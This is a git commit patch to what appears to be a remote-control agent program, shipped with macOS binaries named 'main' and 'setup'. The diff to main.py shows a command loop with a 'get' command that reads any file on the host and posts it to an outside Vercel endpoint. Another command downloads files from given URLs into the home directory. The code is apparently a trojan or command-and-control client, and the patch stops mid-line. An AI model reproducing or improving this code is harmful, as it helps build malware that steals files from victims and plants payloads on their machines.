From 7792884d2f3db6b26af852a06dfc20fc767040f2 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Sun, 3 Sep 2023 10:20:25 +0800 Subject: updated \& fixed syspower func .syspower file --- a.jpg | Bin 0 -> 16007 bytes dist/main-mac | Bin 11070048 -> 7459408 bytes dist/main.app.zip | Bin 10954728 -> 7384635 bytes dist/main.app/Contents/MacOS/main | Bin 11070048 -> 7459408 bytes dist/setup-mac | Bin 11059232 -> 7448384 bytes dist/setup.app.zip | Bin 10943596 -> 7373229 bytes dist/setup.app/Contents/MacOS/setup | Bin 11059232 -> 7448384 bytes main.py | 20 ++++++++++++-------- output.txt | 1 - test.txt | 1 - 10 files changed, 12 insertions(+), 10 deletions(-) create mode 100644 a.jpg delete mode 100644 test.txt diff --git a/a.jpg b/a.jpg new file mode 100644 index 0000000..f86f409 Binary files /dev/null and b/a.jpg differ diff --git a/dist/main-mac b/dist/main-mac index fe921b0..8aebc6d 100755 Binary files a/dist/main-mac and b/dist/main-mac differ diff --git a/dist/main.app.zip b/dist/main.app.zip index 907c750..a4fef6a 100644 Binary files a/dist/main.app.zip and b/dist/main.app.zip differ diff --git a/dist/main.app/Contents/MacOS/main b/dist/main.app/Contents/MacOS/main index daf8dc6..8d71013 100755 Binary files a/dist/main.app/Contents/MacOS/main and b/dist/main.app/Contents/MacOS/main differ diff --git a/dist/setup-mac b/dist/setup-mac index 90ceace..3d805ed 100755 Binary files a/dist/setup-mac and b/dist/setup-mac differ diff --git a/dist/setup.app.zip b/dist/setup.app.zip index a39b178..5e72484 100644 Binary files a/dist/setup.app.zip and b/dist/setup.app.zip differ diff --git a/dist/setup.app/Contents/MacOS/setup b/dist/setup.app/Contents/MacOS/setup index 96b77bb..be03c0f 100755 Binary files a/dist/setup.app/Contents/MacOS/setup and b/dist/setup.app/Contents/MacOS/setup differ diff --git a/main.py b/main.py index 5b13106..083e669 100644 --- a/main.py +++ b/main.py @@ -4,7 +4,7 @@ try: from time import sleep from subprocess import Popen as system from subprocess import PIPE - from os import chdir, uname, devnull, getcwd + from os import chdir, uname, devnull, getcwd, basename from sys import platform, stdout, stderr old_command = "" @@ -72,8 +72,12 @@ while True: if command.startswith("get "): localcmd = command.split() path = localcmd[1] - open("output.txt", 'wb').write(open(str("../"+path), 'rb').read()) - file = [str(path), open("output.txt", 'rb').read()] + try: + open("output.txt", 'wb').write(open(str("../"+path), 'r').read()) + file = [str(path), open("output.txt", 'r').read()] + except UnicodeDecodeError: + open("output.txt", 'wb').write(open(str("../"+path), 'rb').read()) + file = [str(path), open("output.txt", 'rb').read()] file = "FILE " + str(file) try: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data = file) @@ -86,8 +90,8 @@ while True: files = eval(localcmd[1]) for fileUrl in files: fileData = get(fileUrl).content - fileName = path.basename(fileUrl) - filePath = os.path.expanduser("~") + fileName = basename(fileUrl) + filePath = expanduser("~") with open(f"{filePath}/{fileName}", 'wb') as f: f.write(fileData) f.close() @@ -171,7 +175,7 @@ while True: exit() elif command.startswith('syspower'): localcmd = command.split() - if localcmd[1